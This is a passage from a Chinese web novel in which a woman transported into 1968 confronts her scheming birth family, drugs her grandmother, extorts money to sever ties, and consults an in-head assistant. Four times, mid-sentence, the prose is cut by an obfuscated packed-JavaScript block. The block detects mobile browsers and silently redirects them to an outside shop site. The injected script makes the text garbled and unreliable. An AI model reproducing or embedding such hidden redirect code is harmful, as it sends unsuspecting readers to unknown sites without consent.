她浑浊的眼泪从眼睛里疯狂涌出,已经开始在想要怎么以死自证清白了。 陆星野被林晚霜的彪悍所震慑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030839|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知不觉竟放松了对老太婆的钳制。老太婆趁机挣脱开来,将碗一把打到地上。扑上去就要厮打。 林晚霜赶忙招架,陆星野扑上去照着老太婆就是狠狠一口。 “啊!”老太婆高昂地叫声穿透四合院,几家户门紧闭的邻居都是一怔,纷纷推开门出来看热闹。 院门里,正要开门的男人手一抖,想要回头去看,然而敲门声急促:“爸,爸,我把张瘸子带回来了。” 男人立刻打开门,把老太婆的惨叫暂时抛到脑后。 门外站着个穿着薄夹袄的小胖子,小胖子身后是一个年过五旬,头发花白的瘸腿老头。小胖子看到男人开口就问:“贱丫头呢?奶奶把药给她喝下去没有?” 瘸腿老头闻言吓了一跳:“不说是你闺女自愿嫁给我的?咋还灌药?” 男人臊眉搭脸的瞥他一眼:“你就说今天想不想当新郎官吧。” 瘸腿老头立刻就笑了:“200块钱,50斤粮票,今天我就把人领家去。” “那不行,”吊梢眼女人立刻从房间走出来,大声叫,“今天你就能当新郎官,这钱也得翻一番才对。” “翻一番?你怎么不去抢?”瘸腿老头叫起来。 周围邻居都围了过来:“林家的,你们又在卖姑娘了?” 一个老大爷抽着旱烟:“你不就一个姑娘,上个月嫁了陆家,哪里又来一个?” 吊梢眼女人抬起头,扫视一周:“陆家都倒霉了,咱还不赶紧把姑娘接回来?非要送去当劳改犯?” 有小年轻瘪嘴:“你这接回来是为了再卖一次啊。张瘸子比你还大两岁,你可真舍得。” “那你娶?200块钱,50斤粮票,你现在拿出来我立刻把姑娘塞你床上去。”吊梢眼女人厉声道。 小年轻往后躲了躲:“我没有,再说了,一个二手女人……” “啊!啊!啊!”林家屋内突然传来老太婆的凄厉惨叫,“快来人啊,死丫头忤逆不孝要杀我了!” 一群人立刻转移阵地,冲向吃瓜一线。 吊梢眼女人和男人一对视,立刻也跟上了人群。 等她努力挤开看热闹的邻居,就看到她那个无法无天的婆婆被林晚霜踩在地上,林晚霜手拿着一把菜刀正对着老太婆微笑,旁边陆星野帮忙死死压住老太婆的腿。这场面—— “这场景有点眼熟,”一个大娘摸了摸下巴,突然一拍手,“这不是杀年猪嘛!” 此时的场景还真像过年杀猪,大肥猪在疯狂挣扎挣命,屠夫手拿杀猪刀踩在猪的上半身准备放血,小徒弟按住猪的后腿防止撅蹄子。 林晚霜自己都没想到,穿过来不到两天,就举了两回菜刀。 此时见围了一圈人,她也不慌,转头冲大家明媚一笑,看到那吊梢眼女人笑得更开心:“妈,你把我奶的新郎官带来了吗?她刚刚迫不及待地喝了药,急着要洞房呢。” “哗——” 如同滚烫的油锅落了一滴水,气氛瞬间沸腾起来。 5. 第 5 章 林晚霜的话如同一滴水落入滚烫的油锅,瞬间所有人都被吸引,不由自主地看向地上的老太婆。 老太婆此时药效起来,脸色潮红,两只手开始疯狂想抓扯自己的衣服。如果不是陆星野按的紧,估计已经跳起来扑男人了。 “我去,赵春花是真吃药了吧?”一个大婶惊恐地喊。 在场所有男性一时间齐刷刷后退一步,甚至还有人双手交叉企图保护自己。 “星野,松开吧。”林晚霜对已经累的满头大汗的陆星野说。 陆星野松开手,往后跌坐下去。老太婆一个鹞子翻身,灵活地爬起来,开始解扣子:“热,热死了,热死了。” “我去!夭寿哦!”围观的人大声喊着,带着男人儿子出来的,都赶紧招呼他们自己捂眼睛。 老太婆已经脱了外套,露出一个大红牡丹的肚兜,眼见她又要解裤带,围观众人呼啦一声全散了。 “妈,你这是做啥!”吊梢眼女人急着想来给她拢衣服,但她哪里按的住嗑药上头的老太婆? “哗啦” 一盆冷水照着老太婆泼过去。 林晚霜早在看到男人端着水过来的瞬间,就拉起陆星野躲得远远的。 深秋,一盆水这样泼过来,老太婆当场打了个寒战,开始有些清醒了。 “还不快把妈拉回里屋换衣服?”男人气急败坏地冲着吊梢眼女人喊道。 吊梢眼女人忙不迭地应下,林晚霜看着眼前这幕,低下头俯在陆星野耳边说了几句。 “好,我明白了,我会很快回来的。”陆星野应下,立刻撒腿就跑。 张瘸子和小胖墩也过来了,此时正一脸痴迷地打量着林晚霜,不过他也有点疑惑:“不是说今天让我洞房花烛夜?” 他瞅着咋不太像呢? 林晚霜看向了他,暗叹原主家人真不是个好东西。她笑:“爷爷好,今天的确是你和我奶奶的洞房花烛夜。我奶奶现在在换衣服呢。” “不是!”张瘸子吓了一跳,“这是怎么回事?林爱民?你不是说把你闺女嫁给我?咋换成你妈了?” 他捏紧裤兜里的手帕,这钱是用来娶小媳妇,可不是娶老抹布的。 陆星野此时也跑回来了,低声在林晚霜耳边说了刚刚院子里发生的事。 林晚霜心里有了谱,她看向陆星野:“你是说,王主任他们马上过来了?” 这下子陆星野都傻了:他刚刚说啥了?他刚刚不是按林晚霜的吩咐去打听情报了嘛? 他说的应该是林晚霜被林家人卖了多少钱吧?咋突然出来个王主任? 林爱民,也就是那个臊眉搭脸的男人突然睁大眼睛:“王主任?是哪个王主任?” 林晚霜故作高深地笑:“你说哪个?当然是能管这事儿的。” 林爱民脑子里疯狂捋了一遍,最后不敢置信地看向林晚霜:“你疯了,咱们这边就一个王主任,还是割委会的。你叫割委会的来干啥?你婆家不都是坏分子?咋你还叫得动?” 林晚霜暗自庆幸选了个最普通的姓居然还撞出这么个大运来。 她笑道:“我单纯叫肯定是叫不动的,但如果我告诉他,我娘家也全是坏分子,是隐藏在群众中的阶级敌人呢?” “你疯了吧!”吊梢眼女人扶着老太婆刚出来就听到这么一句,瞬间跳了起来,“死丫头你这是想拖着全家一起死啊!” 林晚霜笑得越发温柔:“星野,王主任不是说没时间,让我中午自己过去吗?你真看到他来了?还是,看错了,来的是知青委的干事?” “这和知青委又有什么关系?”林爱民咬牙切齿,他预感到了不妙。 “是这样的,”林晚霜好心的解释,“王主任这个人呢,虽然看重这个业绩,但是他说林家问题没那么大,只要我中午把罚款带过去交了,应该也就没事。” “可是啊,我觉得劳改是个好机会啊,我们不能错过。所以就联系了下知青委的,说想把我亲爱的弟弟带着一起去建设祖国……” 小胖墩林耀祖压根没想到这里头居然还有他的事,已经哇的一声哭起来:“我不要,我不要,我不要去劳改。爸妈快打死这个丫头!” 吊梢眼女人和老太婆都恶狠狠地看向了她,却没行动。林晚霜明白,她们是在等林爱民发令。 是的,她发现了,这个家真正的主心骨其实是林爱民。 别看他不起眼,随时随地两手插袖筒,缩着个脖子一副窝囊样儿。 但院子门是他开的,那盆冷水是他泼的。王主任是他最先问的。 林爱民听到林晚霜的话第一反应就是不可能,这年头谁家会随便去知青委,割委会? 真要遇到点事,要么找族长,要么找街道办就行了。 可再一想到是林晚霜说的,又感觉八成是真的了。 这丫头从小就心狠。 15岁起家里就开始给她说亲,结果她要么掀桌要么在饭里放泥灰。 再大一点更不得了,看上了陆家自己不知道从哪搞得药就是敢下,就是敢爬床还故意设计让人捉奸。 现在更疯,拿扫帚当众打耀祖妈,在外面就敢让耀祖妈去死。 给耀祖奶奶喂药,拿菜刀砍人,还让耀祖奶奶当众脱衣服…… 林晚霜见他半天不说话,慢悠悠地开口:“咱们家是什么德行我会不清楚?你们以为我今天为啥敢带着个5岁孩子大摇大摆地就来了?” 林爱民心头一惊,这话说的真特么合理! “还有,我自己现在都这下场了,既然我不好过,难道我会让你们舒服?”林晚霜继续补刀。 林爱民差点跳了起来:“王主任那边要交多少罚款?知青委那边你要怎么才能不带耀祖下乡?” 不愧是林家的主心骨,这重点抓的就是准。 然而吊梢眼女人却没这个脑子:“什么罚款?这又不是我家惹出来的事,凭什么我们掏钱?” 林晚霜轻笑着地拍手:“没罚款好,等会儿我见了王主任,我就跟他讲,我们林家觉悟高,愿意全家跟我下放。” 老太婆此时清醒多了,她看向陆星野:“你们老陆家的人品,整个T市人都知道。星野小子,你跟奶奶说,这死丫头是真的去过割委会和知青委了?” 陆星野看着刚刚骂自己地主崽子,现在却来假装和蔼的老太婆,低下了头。 “星野你说,”吊梢眼女人赶紧上前几步,“老陆家的人都实诚,我们只信你的话。” 林晚霜看着这一幕突然感觉很滑稽。看来陆家是好人这事儿大家都清楚。 只是好人容易被欺负,大家都喜欢得罪好人。 陆星野没看林晚霜,他死死扣着自己的手,声音弱的如同蚊蚋:“我早上和嫂子一起去的,知青委的干事还说,林耀祖太小了,除非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030840|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我家一起去劳改,否则不能单独下乡。” 林晚霜的笑容越发明媚起来:“都听到了吧?这话可不是我说的。” “啊!”林耀祖一屁股坐在地上,开始暴风哭泣。 张瘸子眼见自己应该是得不到媳妇了,又不想搅和到这破事里头,转身就要走。却被吊梢眼女人看见,一把拉住。 “瘸子兄弟,”林爱民眼珠子一转,“你今天不是带着钱票过来的吗?我做个主,把我妈许配给你了……” 老太婆爆发出一声惊叫,却被林爱民横了一眼:“叫什么?他比你小17岁,和他结婚多个人伺候你。” 老太婆眼珠子一转,看了看张瘸子,开始整理自己有些潮湿的头发。 张瘸子浑身一抖,挣脱吊梢眼女人的手转身就要跑,林耀祖突然一骨碌爬起来,去把门闩上了。 “你们家想干啥?”张瘸子看着步步逼近的林家四口,有些底气不足的质问。 “爷爷,”林晚霜拉着陆星野一边看热闹一边拱火,“我奶奶药性还没解,估计是要拉你当新郎呢。” 张瘸子双手护胸,疯狂后退:“你们别过来,别过来啊!” “你叫吧,叫破喉咙也不会有人救你。”林晚霜扔出一个梗,然而无奈在场没人听得懂。 陆星野还一脸正经地回应她:“他没大声叫啊。” 张瘸子自然不敢大声叫,这里明显对他不利。万一叫来了人反打他一棒说他是盲流怎么办? “爸,割委会那边要300块。急得很,你看这爷爷带的彩礼钱要不要先收了?彩礼钱拿过来,爷爷奶奶可以先入个洞房嘛。”林晚霜看他们这样僵着挺浪费时间就出了个主意。 林爱民眼珠子一转,不得不承认这话说到了他心上。他对着老太婆和吊梢眼女人使了个眼色。三人一拥而上,将张瘸子抬起塞到里屋。 在一片挣扎惨叫声中,张瘸子的衣服裤子被一件件扔了出来。 再过了几分钟,门关上了。吊梢眼女人从地上的衣服里掏出手帕开始数钱。 林爱民双手插着袖筒,找了个地方蹲下。林耀祖把耳朵贴在里屋门上。 没等吊梢眼女人数完钱,林晚霜就起身带着陆星野要走。 “你干什么去?”林爱民一直盯着她呢,此刻一发现她想走立刻就站起身拦住。 “去割委会给咱们家报名,爸妈到时候跟我在一处,我生了娃,我妈正好帮我坐月子。”林晚霜抬头看他,语气真诚。 “站住!站住!”林爱民抓着她,“耀祖妈,快把钱拿给她!快点!” 吊梢眼女人正数钱的手顿住,心不甘情不愿地走过来,怏怏递上钱。 林晚霜快速数了一下:“还差100,爸妈要不跟我一起去割委会和王主任当面砍价?” 林爱民看着她:“这里头还有50斤粮票。” “到时候我们下乡一起用,”林晚霜毫不藏私,“反正人家要300,我变不出来。” “你个死丫头!”吊梢眼女人举着巴掌就要打,“如果不是你没事找事,我们家哪里……啊啊啊!放开我的手!” 林晚霜将她手折反,冷笑:“我宁愿穷死,苦死,累死,我也要把你们都带走!凭什么一家子就我要去受苦?我也不怕你们知道,知青委那边,林耀祖本来就不在下乡的名单上。如果他不是我弟弟,我都没办法要求带他一起去下放。” 6. 第 6 章 林耀祖听了这话,嗷的一声哭了起来。 他大喊着:“爸妈和她断绝关系!我不要当她弟弟了!高婶儿那个短命的女儿下乡不到一年就病死了,我不想死!” 随着林耀祖这话落下,吊梢眼女人也急了:“他爹,可不能让耀祖下乡啊。这丫头和我们不是一条心的,耀祖去了还不得被她欺负死?” “我知道,”林爱民看向林晚霜,“说吧,这次又要多少钱你才能放过我们?” 陆星野诧异地抬起头,他没想到原本不存在的事,被林晚霜这噼里啪啦一顿说,林家人居然有了要上赶子送钱的苗头。 这可真是稀奇。 然而更稀奇的是,林晚霜半点没有见好就收的苗头。 “对我来说,现在只要看到你们不开心,我就开心。这钱,票。我一分都拿不到,你们真要把这些给了我,我昧下了,割委会和知青委都不会放过我。” 她还冷笑:“真要想去交罚款啊,那你们就自己去。我是半点手都不要沾的。” 吊梢眼女人立刻意动:“耀祖他爹,这死丫头说的有道理。要不咱们自己去交?” 林爱民拉了下她的手,低声提醒:“别忘了她是什么德行,今天闹到现在,一句没提那件事。你猜她要干嘛?” 吊梢眼女人吓了一跳,低声和他咬舌头:“她想干嘛?难道是想把那事儿捅出去?这不行,绝对不行。捅出去咱们就完了!” 林爱民低声告诫:“所以趁她现在还没拿那事儿说事,钱给就给了。当花钱消灾。” 吊梢眼女人觉得他说的对,但还是肉痛:“孩儿他爹,那咱们就这样被她要挟一辈子?” 林爱民摇了摇头:“等她下乡了,死外边了,这事儿就彻底过去了。” 吊梢眼女人咬嘴唇:“当年就不该图……该一起弄死她。现在,唉!” 林晚霜看他们在那边咬耳朵,直觉有事,她提高了声音:“爸妈,你们说啥呢?” 林爱民抬起嗓门:“霜丫头,钱给你,这事儿你就得给摆平。不然咱们都别想好过。” 吊梢眼女人立刻点头:“死丫头搞出来的事,就该她去摆平。” 林晚霜不置可否,反正她刚刚就随口乱说,压根没影儿的事,哪里需要去善后?他们给她钱她接着就是。 看她没有反驳,林爱民和吊梢眼女人都松了口气。 这么多年被敲诈的经验告诉他们,这丫头虽然坏,但是收了钱很少有不办事的时候。 至于那个偶尔不办事的可能,他们也有防备。毕竟事关自己的命运,没人敢不上心。 然而此时见他们迟迟不提知青委的事,林耀祖却急了:“爸妈,我不要下乡!” 林爱民和吊梢眼女人哪里舍得他难受,当即看向林晚霜。 林晚霜立刻走,还撂下一句:“想都别想,我是肯定要带我弟弟一起走的。” “等一下!”林爱民大喊,“300块!” 林晚霜脚步一顿:“割委会那边的?” “割委会那边100,给你200,和我们断绝关系。”林爱民示意吊梢眼女人立刻去拿钱。 “不干!”林晚霜立刻拒绝,“子不嫌母丑,狗不嫌家贫。我是必须要和林家紧紧捆绑在一起的。” 吊梢眼女人急了:“你是不是又想说那件……” “说那有的没的?”林爱民立刻打断,“霜丫头,你说个实在价,多少钱可以让你和我们断绝关系?” 林晚霜直觉刚刚吊梢眼女人没说完的话很关键,她不理林爱民,看向吊梢眼女人:“妈,你刚刚要说啥?” 吊梢眼女人听到那声“妈”就是一抖。现在听林晚霜问,她下意识看了眼林爱民。 林爱民没看她。 吊梢眼女人强笑了一下:“我是说,你是不是又想说那姐弟情深的胡话?霜丫头,强扭的瓜不甜,咱们不是一路人,该断就断了吧。” “没关系啊,甜不甜不要紧,解渴就行。”林晚霜笑着看过去,“这么好的爸妈,这么好的奶奶,这么好的弟弟。让我怎么舍得和你们分开?” 吊梢眼女人急了,当即跪了下来:“我对不起你,我从小虐待你,我不该贪你辛辛苦苦骗来的钱,我不该老想卖了你,我不该听你奶奶的给你下药。” 林晚霜目瞪口呆,她刚刚说“辛辛苦苦骗来的钱”对吧?是骗来的,不是挣来的? “我不该在你偷东西的时候不好好放风,我不该用你碰瓷的办法拿到钱不分给你,我不该在你仙人跳的时候故意晚进去……” 林晚霜已经听不见她后面说了什么。她转头看向陆星野:“她说的是真的吗?” 陆星野看着她:“你心里就没点谱吗?” 林晚霜松了口气:她就知道吊梢眼女人在乱说。 “你比她说的可恶多了,”陆星野悠悠补刀,“你还欺负孤寡老人,把人家辛辛苦苦种的地嚯嚯了,还在人床上倒尿……” 林晚霜目瞪口呆,林晚霜不愿面对,林晚霜想要把原主抓出来把蛋黄都给她摇散了:你特么到底是有多刑啊。我特么活了这么多年,今天真是被你开了眼界了! “这都是我的错,我认。”吊梢眼女人已然声泪俱下,“求求你大发慈悲,和我们断绝关系吧。要多少钱,我们都给,都给!” 林晚霜突然失去继续待在这里的兴致。做人怎么能失败到亲妈下跪求着给钱也要断绝关系的? 是的,林家人都是坏人。但是原主呢?她可是让这些坏人更害怕的存在。 算了,算了。断了吧,就当帮原主积德。 林晚霜开口:“好,断吧,给我我1000块和100斤粮票,30斤副食品票,200斤棉花票,100尺布票就行。” 林爱民气的颤抖:“你,你怎么不去抢?” 林晚霜决定从现在树立自己的新形象:“瞧您说的,抢劫是违法的,我不做那种事。” 陆星野看着脸色涨红,右手捂胸,看上去有些摇摇欲坠的林爱民,低声提醒:“你要的太多了。” “很多吗?”林晚霜有点懵。 一千块钱很多吗? 遇事不决就问小爱。 【小爱同学:1968年一个普通工人每个月的收入是30-40元,1000元相当于他要不吃不喝3年。一个普通城市居民每个月的粮票是20斤,一个居民一年的棉花票通常不到1斤,一个家庭一年的布票通常是20—30尺。所以,亲你在狮子大开口吗?】 林晚霜看着这些数据自己都傻了,这就是不了解物价的错! 林爱民强撑着睁开眼睛:“霜丫头,我们好歹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030841|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养了你一场,这些年对你也是一直忍让,今天,你就说个实在价吧。” 林晚霜眨巴着眼睛,认真斟酌着开了口:“那就300块吧,棉花票20斤不能再少了。粮票要100斤,其他的就算了。” 林爱民一口答应:“粮食票给你60斤,棉花票给你21斤6两。钱300块。同意就签字,明天我们去登报。” 林爱民很快写了断绝关系的声明,林晚霜提醒他:“理由是我不肯和婆家断绝关系,你们怕牵连。” 林爱民笔一顿,把“不孝”重重划掉,改成了林晚霜说的理由。 吊梢眼女人在旁边心疼的数着钱票。林晚霜签了字,一把夺过她手中的钱票。 “记得去割委会和知青委说清楚。”女人大喊,林晚霜点了点头,走了出去。 高婶在院门口等着她,看她安然无恙地走出来,才算松了口气。 “你不该回来的,”高婶说,“你16岁他们就给你下药把你送去……大冷天你自己跳了河。” 林晚霜突然想起来林耀祖说的话,高婶的女儿下乡不到一年就死了。 她伸手摸出一把钱票,塞给高婶。高婶慌忙摆手,却被她拦住。 “婶儿,今天不是你,我可能又要喝药了,今天和他们断绝了关系。以后这里我应该都不会再来了。这辈子遇到好人不容易,婶儿是好人,但是这世道的好人太苦了。婶儿收着,就当是老天爷让我来的,让好人有个好报。” 高婶的眼泪扑簌簌落了下来:“我的英子啊!” 林晚霜没有在说话,牵着陆星野就离开了。陆星野转头,看见高婶捂着脸蹲在院门口大哭。 他叹了口气:“这世道好人真的很苦吗?” “哪个世道好人都苦,”林晚霜说,“但是我还是想和好人生活在一起,如果可以,我也想做个好人。” 陆星野看向她:“你今天就像个好人。” 林晚霜“噗嗤”笑出声来,之前的伤感瞬间荡然无存:“星野,你说我是好人?你见过谁家好人给自己奶奶喂那种药,拿着刀指着人?我还给他们唱了出空城计,骗了一大堆东西。” “好人不是一味软弱的,”陆星野认真地说,“我爸说,要先分清楚对错。有了立场才能分的清好坏。” “你爸?”林晚霜看了他一眼,“我之前都把你妈气死了,他都没怪我。你爸这种还不软弱?” “如果不是你昨天晚上太过分了,其实一直也没有人说是你害死了我妈。”陆星野看了她一眼,“在你说假怀孕后,我妈是晕倒了。但是她起来后又开始张罗事,还说你是在和我哥赌气。结果后面邮差送了封信过来,她看到一半就吐了血。吐完接着看,然后人就没了。” 林晚霜停下脚步:“信?信在哪儿?谁寄来的?说的是什么?” 陆星野摇头:“我爸和哥看了,爸看完说了句“报应啊”然后也吐了血晕倒了。哥把信烧了,说谁都不准再提。就那天开始,爸的身体越来越不好了。” 忽然间,林晚霜又想到脑海中原主面前那个男人,从他们都对话中听不出来有什么问题。但是原主当天回来就立刻把陆家人都绑了。 这个人他真的只是个普通的干事吗?他会不会和真正导致陆母的那封信有关? 陆家,到底遇到了什么麻烦? 7. 第 7 章 陆家的谜团越来越多,这对她这个本来就没有原主记忆的人来说,无疑是更大的麻烦。 林晚霜犹豫了一瞬,立刻让小爱同学设置了闹钟提醒,她准备今天回去见着陆沉舟就要把这事问清楚。 都要跟着他们一起下放了,那封信到底是怎么回事她必须得问个明白。 而且陆沉舟在明知道实情的情况下,昨晚还冤枉她,质问她,这也该道歉吧。 不过现在嘛。林晚霜看向不远处的小诊所,决定支开陆星野赶紧去找个医生帮自己确认下肚子里到底有没有货。 她当即掏出一张大团结:“星野,你脚程快,去看看能不能买点东西回家。” 陆星野不接那钱:“早上出门爸给你的还在我这,而且我哥已经去买了,你现在让我去,是想支开我?” 林晚霜点头:“是想要你买点东西,也是想支开你。” 陆星野警觉:“你想干什么?又要做什么坏事?” “我今天闹了一通林家,还和家里断绝了关系,”林晚霜揉了揉眼睛,“我想一个人静静。而且,你就没有想买的东西吗?现在咱们家什么都缺。” 陆星野接受了她的解释,干巴巴地安慰了一句:“其实和林家断了挺好,你以前和他们搞仙人跳,碰瓷,讹诈,还偷东西……总之,你以后不要这样了。” 林晚霜已经对原主曾经丰富的生活失去了追究的兴趣,她随口应付:“断了,以后就没人教我做坏事了。我要跟你们家学做好人去。” 陆星野诧异地看她一眼:“本来他们家只会碰瓷,让你偷东西,仙人跳和讹诈不是你教他们的嘛?” 林晚霜被自己的口水呛咳,好吧,她还是低估原主了。再次感叹,陆家真的是好人。 陆星野看了看她:“快中午饭点了,这会儿可以买到不要票的点心渣和肉骨头。这样,我就试着信你一回,你一个人呆这里,不要乱走。” 林晚霜迫不及待地送走陆星野,立刻拉起围巾裹着脸,蒙着头冲进了小诊所。 此时正好在饭点,诊所里只有一个老中医。 老中医看到她进来,表情变了一下,继而问:“陆家媳妇,你怎么了?” 太棒了!林晚霜没想到原主居然这么出名,一个照面伪装就成了笑话。 她立刻抬起头,露出脸:“是我公爹,大夫,我公爹身体不好,晚上咳的厉害,您看您方不方便去我家帮他看看。” 老大夫脸色变了一下:“你公公陆振华是个好人,对我家有救命之恩,按理说他生病了我不能……但陆家现在这个情况……” 林晚霜立刻打蛇随棍上:“大夫,我理解您的难处。不过说真的,您刚刚一开口就是我公爹以前对您的救命之恩。一看就是个知恩图报的好人。只是我婆家现在这样……这不,我都遮了脸过来的。就怕让别人看见给您惹麻烦。” 老大夫脸色变了又变,最终一声长叹:“唉,你嫁过去不到两个月,居然变的好了。就你这样都能和陆家共患难,我却……你看这样,今晚12点多,我偷偷过去给你公爹看病,你给我留个门。” 林晚霜立刻点头,又强行留了十块钱,然后千恩万谢的出了诊所。 她想,这也算无意中帮陆家了一回吧。 只是现在看来,陆家和原主在这里挺有名的。要想找医生确认有没有怀孕,最好去远点的地方。 林晚霜试着联系她的金手指:小爱同学,你可以导航到最近的医院吗? 小爱同学立刻开始导航,最近的医院离她50米,就刚刚那个诊所,地图上密密麻麻,还有一个近的。离她5公里,预计步行时间2小时? 不是,5公里走2小时,这合理吗? 【小爱同学:检测到亲的质疑,很合理哦。5公里是地图上的直线距离,但亲不可能走直线过去呢。最近的步行规划道路需要走山路,泥土路和巷道。2小时已经是按照亲步行最快时速来计算的了。】 好的,林晚霜明白了,这条路不通。 先不说5公里那家医院她会不会再被认出来,光是这要走2小时……等等! 林晚霜突然想到了一件事:小爱同学,帮我导航附近最大的黑市。 瞬间脑海中地图出现,果然可以! 小爱同学,帮我导航到陆沉舟附近! 瞬间脑海中地图变幻,显示陆沉舟离她19.7公里,和刚刚的一处黑市所在位置几乎重合。 果然世界上没有废的金手指,只有不会开发利用的人!这一瞬间林晚霜恨啊,她要是穿个侦探什么的,这小钱钱不得自己往她兜里蹦? 【小爱同学:闹铃提醒,亲,你问过医生自己怀孕了吗?】 林晚霜发烫的大脑被自己设置的闹铃提示惊醒。她尝试询问小爱同学,有没有别的方式检测自己是否怀孕。 【小爱同学:推荐使用验孕棒,最好的方法是去医院抽血查hcg哦亲。】 很好,它果然还是个小废物。不过现在林晚霜已经发现了它蕴藏的巨大价值,她细化了自己的问题,把问题时间锁定在1968年,不能去医院的情况下。 【小爱同学:计算自己末次月经时间,观察有没有呕吐等早孕反应。不过最简单的方法就是等到下个月该来月经的时候。】 看来最靠谱的办法就是等着了。 林晚霜开始思考如果自己没怀孕,该如何应对陆家人。不得不说,从陆星野这里知道陆母的死和她关系没那么大的时候,她真的松了口气。 如果说昨晚面对陆沉舟,她还心虚,现在完全敢和陆沉舟拍桌子当面质问他你凭什么说我给你妈最后一击了? 呸!瞧着浓眉大眼的,结果内心却是黑的。 真当她不明白他报的什么心思。故意给她施压,让她怀揣愧疚感不敢再作妖呗。 林晚霜顺手揪了根狗尾巴草开始扯:“坏男人!真腹黑!哪天把你切开看看心是不是黑透了!” 陆星野拎着好不容易买到的碎点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030842|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心渣,猪心猪肺和大骨头紧赶慢赶地回来,就看到林晚霜又是跺脚,又是闭眼皱眉,嘴里还嘟嘟囔囔像是在骂人。 他有些疑惑,难道这就是她排解内心悲伤的办法?还真是,特别啊。 林晚霜正把扯成几节的草当陆沉舟踩呢,突然抬头看到他:“星野,你回来了?” 陆星野快步上前,有些微喘:“走吧,赶紧回去。” 林晚霜看过去,辨认出猪心猪肺,这都是腥味极重需要大料遮味的东西。 不过这难不倒她,小爱同学一出手,不仅把不用面粉白醋就能清洗干净猪心猪肺的找了出来,还附送了烤制成副食品的方法。 这样一来,他们下放就能多囤点肉了。 “星野,我有办法把这些做成可以存放很久的肉干。你再去买点,越多越好。这样我们以后就有肉吃了。”林晚霜抬起头一脸兴奋。 陆星野却是摇头:“你不能进厨房。” 林晚霜愣住:“这个不累人的,不用担心我的身体。” “不是啊,”陆星野说的很认真,“家里没人会放心让你进厨房,你不是想杀我们嘛。万一下了药咋办?” 林晚霜指向自己:“我?杀你们?” 陆星野点头:“昨晚你自己说的。” “我不是说我已经放弃了吗?” “可你不是好人啊,”陆星野非常认真,“坏人说的话是不可以相信的。你今天虽然像好人,但非常有可能是在放松我的警惕。我是不会上当的。” “你今天亲眼看到我和林家断绝关系,你还帮我了。”林晚霜试图说服他。 “我帮你是因为我大侄子在你肚子里。”陆星野点点头,“在家里你什么都不要做,把我大侄子生下来就行。” 他非常坚持,林晚霜也就不再争辩了。不过她已经默默打定主意,回去和陆父说。 然而让她没有想到的是,当她说出自己想要帮忙做一些带在路上吃的东西后。陆父看她的眼神中竟多出一丝疏离。 “沉舟媳妇,”陆父放下手中的搪瓷杯,“你的好意我们心领了,如果你这次是真的想好好过日子,就不要再闹了。这个家经不起折腾。如果你还没私心……那就离婚吧。我是想要孙子,但我不能为了我的私心赔上我两个孩子的命。” 林晚霜沉默了:“如果我说今天的我,和之前都不一样了。您信吗?” “我信,”陆父说,“之前的你根本不会提帮忙的事,可是孩子啊,我不能赌,你如果真的改了,以后我会给你道歉的。现在你真的不要再给家里添乱了,好吗?” 林晚霜默默地离开陆父的房间,路过厨房,正在忙碌的陆星野立刻掩上了厨房的门。 她突然意识到,从穿过来到现在,陆家人对她其实都是客气有余,亲近不足的。 他们很善良,他们是好人,可是他们带着自己的锋芒。甚至可能在他们心里有着比一般人更清晰的边界。 他们的善良带着锋芒。 8. 第 8 章 …… 直到小爱同学的提示出现,林晚霜才慢慢从床上起来。 她很饿,但是没有人叫她吃饭。 走到外面,天已经黑透了,客厅桌上摆着一份饭。陆沉舟坐在对面快速吃着自己碗里的。看到她来,只是抬了抬眼睛。 林晚霜问他:“这是我的饭吗?” 陆沉舟点了点头,林晚霜坐下,沉默的吃了起来。 是猪心,血水没处理干净,很腥,很难吃,林晚霜咬了一口吐了出来。 陆沉舟看向她:“孕吐?” 她摇头:“这太难吃了,陆沉舟,让我来做吧。我知道怎么处理干净。” 陆沉舟没有说话。 林晚霜尝试跟他好好沟通:“陆沉舟,你今天买了什么?如果有肉的话,我可以做肉干,到时候带着下乡,也算有营养了。” 